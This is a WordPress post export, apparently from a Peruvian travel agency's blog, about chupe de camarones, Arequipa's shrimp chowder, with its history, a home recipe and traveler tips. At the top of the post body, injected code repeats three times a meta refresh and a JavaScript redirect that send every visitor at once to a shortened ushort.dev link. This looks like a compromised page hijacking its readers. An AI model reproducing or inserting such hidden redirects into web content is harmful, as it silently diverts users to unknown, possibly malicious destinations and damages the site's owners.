{"id":18333,"date":"2025-09-11T15:00:49","date_gmt":"2025-09-11T20:00:49","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=18333"},"modified":"2025-09-11T15:00:52","modified_gmt":"2025-09-11T20:00:52","slug":"chupe-de-camarones-arequipas-iconic-shrimp-chowder","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/chupe-de-camarones-arequipas-iconic-shrimp-chowder\/","title":{"rendered":"Chupe de Camarones: Arequipa\u2019s Iconic Shrimp Chowder"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>If Peruvian food were a hug, chupe de camarones would be that long, cozy squeeze you never want to let go of.<\/p>\n\n\n\n<p>&nbsp;This rich shrimp chowder, born in the beautiful southern <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-the-historic-streets-of-arequipa\/\"><strong>city of Arequipa<\/strong><\/a>, is one of Peru\u2019s most iconic dishes. It\u2019s creamy, comforting, and absolutely packed with history. It\u2019s also a perfect excuse to grab a spoon, sit down, and take your time.<\/p>\n\n\n\n<p>Today, we\u2019ll dive into the story behind chupe de camarones, how it came to symbolize <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\"><strong>Arequipa\u2019s gastronomic pride<\/strong><\/a>, and why travelers fall in love with it. <\/p>\n\n\n\n<p>We\u2019ll even share a small recipe so you can bring a taste of Arequipa to your own kitchen. Stay with us and let&#8217;s dive in then!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where It All Began<\/strong><\/h2>\n\n\n\n<p>Chupe de camarones is part of a long Andean tradition of hearty soups and stews. Before the Spanish arrived, the people of the region prepared broths with potatoes, native herbs, and freshwater crayfish from nearby rivers.&nbsp;<\/p>\n\n\n\n<p>These early stews were rustic but nourishing, perfect for life at high altitude. Eventually, when the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquistadors <\/strong><\/a>settled in Arequipa in the 16th century, they introduced new ingredients:\u00a0<\/p>\n\n\n\n<p>Milk, cheese, onions, and eggs. Locals began incorporating them into their soups, creating richer and creamier versions of their traditional broths.\u00a0<\/p>\n\n\n\n<p>Over time, the humble Andean stew transformed into the chupe de camarones we know today, a unique blend of indigenous flavors and colonial influences.<\/p>\n\n\n\n<p>Later, by the 18th and 19th centuries, chupe had already become a staple in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/\"><strong>Arequipa\u2019s picanter\u00edas<\/strong><\/a> \u2014 lively, family-run eateries famous for their spicy, hearty meals.\u00a0<\/p>\n\n\n\n<p>These picanter\u00edas weren\u2019t just restaurants; they were social centers where people gathered to eat, drink, and trade stories.&nbsp;<\/p>\n\n\n\n<p>On certain days, a specific soup would always be served, and chupe de camarones quickly became one of the star dishes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Makes Chupe So Special<\/strong><\/h2>\n\n\n\n<p>At first glance, chupe de camarones looks like a seafood chowder, but one spoonful tells you it\u2019s so much more.<\/p>\n\n\n\n<p><strong>The base:<\/strong> It all starts with a shrimp stock, made by simmering the heads and shells until the broth becomes deep, aromatic, and brimming with flavor.<\/p>\n\n\n\n<p><strong>The body:<\/strong> Arequipa\u2019s famous yellow potatoes (papas amarillas) add a silky, almost buttery texture. Corn, rice, peas, and sometimes broad beans bulk it up, making the soup as filling as a meal.<\/p>\n\n\n\n<p><strong>The spice<\/strong>: Aji amarillo or aji panca \u2014 those uniquely <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-fiery-hot-peppers-the-spicy-soul-of-andean-cuisine\/\"><strong>Peruvian hot peppers <\/strong><\/a>\u2014 give the chupe its gentle warmth and bright color.<\/p>\n\n\n\n<p><strong>The creaminess:<\/strong> A splash of milk or evaporated milk, and sometimes cubes of fresh cheese, bring everything together.<\/p>\n\n\n\n<p><strong>The flourish: <\/strong>Toward the end, a whole egg is dropped into the hot broth to poach, creating a velvety finish. Fresh herbs like <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-magic-of-huacatay-perus-unique-andean-herb\/\"><strong>huacatay (black mint) <\/strong><\/a>or parsley add a final aromatic touch.<\/p>\n\n\n\n<p><strong>The result? <\/strong>A bowl that\u2019s creamy yet vibrant, hearty yet refined. It\u2019s food that comforts and excites all at once.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/chupe-de-camarones-preparacion.jpg?resize=697%2C465&#038;ssl=1\" alt=\"picantera lady adding a shrimp into  a freshly made chupe\" class=\"wp-image-18337\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/chupe-de-camarones-preparacion.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/chupe-de-camarones-preparacion.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/chupe-de-camarones-preparacion.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/chupe-de-camarones-preparacion.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/chupe-de-camarones-preparacion.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Simple Recipe to Try at Home (Serves 4)<\/strong><\/h2>\n\n\n\n<p>You don\u2019t need to be in Arequipa to taste chupe de camarones, though if you\u2019re lucky enough to visit, nothing compares to the real deal. Here\u2019s a home-friendly recipe that captures its essence.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>500 g shrimp (peeled; keep the shells and heads)<\/p>\n\n\n\n<p>6 cups water<\/p>\n\n\n\n<p>2 tbsp butter or oil<\/p>\n\n\n\n<p>1 onion, finely chopped<\/p>\n\n\n\n<p>2 garlic cloves, minced<\/p>\n\n\n\n<p>1 tbsp aji amarillo paste (or substitute with a mild chili paste)<\/p>\n\n\n\n<p>1 tbsp tomato paste<\/p>\n\n\n\n<p>2 medium yellow potatoes, diced<\/p>\n\n\n\n<p>1 ear of corn, sliced into rounds (or 1 cup frozen corn)<\/p>\n\n\n\n<p>\u00bd cup long-grain rice<\/p>\n\n\n\n<p>1 cup peas (fresh or frozen)<\/p>\n\n\n\n<p>1 cup evaporated milk (or regular milk)<\/p>\n\n\n\n<p>75 g queso fresco or mild cheese, cubed (optional)<\/p>\n\n\n\n<p>2 eggs<\/p>\n\n\n\n<p>Salt, pepper, and a pinch of oregano<\/p>\n\n\n\n<p>Fresh huacatay or parsley for garnish<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ingredientes-chupe-2.jpg?resize=697%2C697&#038;ssl=1\" alt=\"Chupe de Camarones ingridients, such as milk,m cheese, zapallo, huacatay, shrimp, eggs, and more\" class=\"wp-image-18335\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ingredientes-chupe-2.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ingredientes-chupe-2.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ingredientes-chupe-2.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ingredientes-chupe-2.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ingredientes-chupe-2.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Directions<\/strong><\/h3>\n\n\n\n<p>\u00a0First, let&#8217;s make the stock: Simmer shrimp shells and heads in 6 cups of water for 20 minutes. Strain and reserve the broth.<\/p>\n\n\n\n<p>\u00a0Then, in a large pot, saut\u00e9 the onion and garlic in butter until golden. Add aji amarillo and tomato paste, stir well.<\/p>\n\n\n\n<p>&nbsp;Add diced potatoes, corn, rice, and the shrimp stock. Simmer until potatoes and rice are cooked (about 20 minutes).<\/p>\n\n\n\n<p>&nbsp;Add shrimp and peas; cook until shrimp are pink (3\u20135 minutes).<\/p>\n\n\n\n<p>Stir in milk and cheese. Season with salt, pepper, and oregano.<\/p>\n\n\n\n<p>&nbsp;Crack eggs into the hot broth and let them poach for 2\u20133 minutes.<\/p>\n\n\n\n<p>&nbsp;Garnish with fresh herbs and serve piping hot.<\/p>\n\n\n\n<p>This is chupe at its most approachable \u2014 simple, rustic, and soul-warming.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fun Facts About Chupe de Camarones<\/strong><\/h2>\n\n\n\n<p><strong>More than shrimp: <\/strong>Traditionally, chupe was often made with river crayfish, which gave it a slightly different flavor. Today, shrimp is easier to find, but in<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-san-lazaro-arequipas-timeless-hidden-gem\/\"><strong> Arequipa<\/strong><\/a>, locals still prize the native river camar\u00f3n when it\u2019s in season.<\/p>\n\n\n\n<p><strong>International fame:<\/strong> Chupe de camarones has appeared in international \u201c<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-soups-in-peruvian-cuisine-a-warm-and-tasty-journey\/\" title=\"\">best soups<\/a><\/strong>\u201d lists, helping shine a spotlight on Arequipa\u2019s food scene.<\/p>\n\n\n\n<p><strong>The picanter\u00eda schedule:<\/strong> In classic Arequipa fashion, each day of the week has its own soup tradition. Chupe de camarones often makes its appearance on Sundays \u2014 the perfect way to end the week with family.<\/p>\n\n\n\n<p><strong>Not for light eaters:<\/strong> Chupe is famously filling. In fact, many Peruvians treat it as a one-dish meal. You\u2019ll need a serious appetite to make it to dessert.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/49199866877_293d914f35_b.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Freshly made chupe de camarones.\" class=\"wp-image-18336\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/49199866877_293d914f35_b.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/49199866877_293d914f35_b.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/49199866877_293d914f35_b.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/49199866877_293d914f35_b.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Tips for Travelers<\/h2>\n\n\n\n<p>If you\u2019re heading to Arequipa, you simply can\u2019t miss trying a real chupe de camarones. Here are a few tips:<\/p>\n\n\n\n<p><strong>Where to go:<\/strong> Look for traditional picanter\u00edas \u2014 rustic, family-run eateries where chupe is served in generous clay bowls. The atmosphere is half the experience.<\/p>\n\n\n\n<p><strong>When to go:<\/strong> Ask which day they serve chupe. Following the picanter\u00eda schedule is part of the tradition.<\/p>\n\n\n\n<p><strong>Spice level: <\/strong>Don\u2019t worry \u2014 aji amarillo adds more flavor than heat. It\u2019s friendly even for those who avoid spicy food.<\/p>\n\n\n\n<p><strong>Order hungry: <\/strong>Portions are huge. Many travelers admit they couldn\u2019t finish their bowl, though they happily tried.<\/p>\n\n\n\n<p>Each ingredient tells part of Peru\u2019s history: potatoes and herbs from the Andes, shrimp from rivers and coasts, and dairy from colonial influences.&nbsp;<\/p>\n\n\n\n<p>Together, they create a dish that\u2019s humble yet full of pride, rustic yet refined. It\u2019s no wonder locals often say, \u201cIf you want to know Arequipa, sit down for a chupe.\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Final Spoonful<\/strong><\/h2>\n\n\n\n<p>Travelers often come to Peru dreaming of ceviche or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lomo-saltado-discover-one-of-the-worlds-top-dishes\/\"><strong>lomo saltado<\/strong><\/a>, but once they sit down in a bustling Arequipa picanter\u00eda, it\u2019s chupe de camarones that wins their heart.&nbsp;<\/p>\n\n\n\n<p>Creamy, comforting, and steeped in centuries of tradition, this dish is more than a soup \u2014 it\u2019s a story served in a bowl.<\/p>\n\n\n\n<p>Let Arequipa\u2019s most iconic dish tell you its tale, one delicious mouthful at a time. To taste the best of Arequipa and Peru, travel with <strong>Viagens Machu Picchu.\u00a0<\/strong><\/p>\n\n\n\n<p>Finally, feel free to<a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong> contact us<\/strong><\/a> so you can learn everything about our tours, promotions, and best deals. The adventure awaits, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu: Journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Born in Arequipa, chupe de camarones is a rich shrimp chowder that unites Andean roots and Spanish influence. With shrimp stock, yellow potatoes, aj\u00ed, milk, and eggs, it\u2019s creamy, filling, and steeped in tradition. More than food, it\u2019s a story of Peru in a bowl.<\/p>\n","protected":false},"author":1,"featured_media":18338,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[202,1850,3495],"tags":[3083,3368,5513],"class_list":["post-18333","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arequipa","category-food","category-peruvian-flavors","tag-aji-amarillo","tag-chupe-de-camarones","tag-queso-fresco"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/recipes_PE-R-V-00000025_aoyktbixzniie9fr4tjr36wo_large.jpeg?fit=1656%2C1000&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4LH","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=18333"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18333\/revisions"}],"predecessor-version":[{"id":18340,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18333\/revisions\/18340"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/18338"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=18333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=18333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=18333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}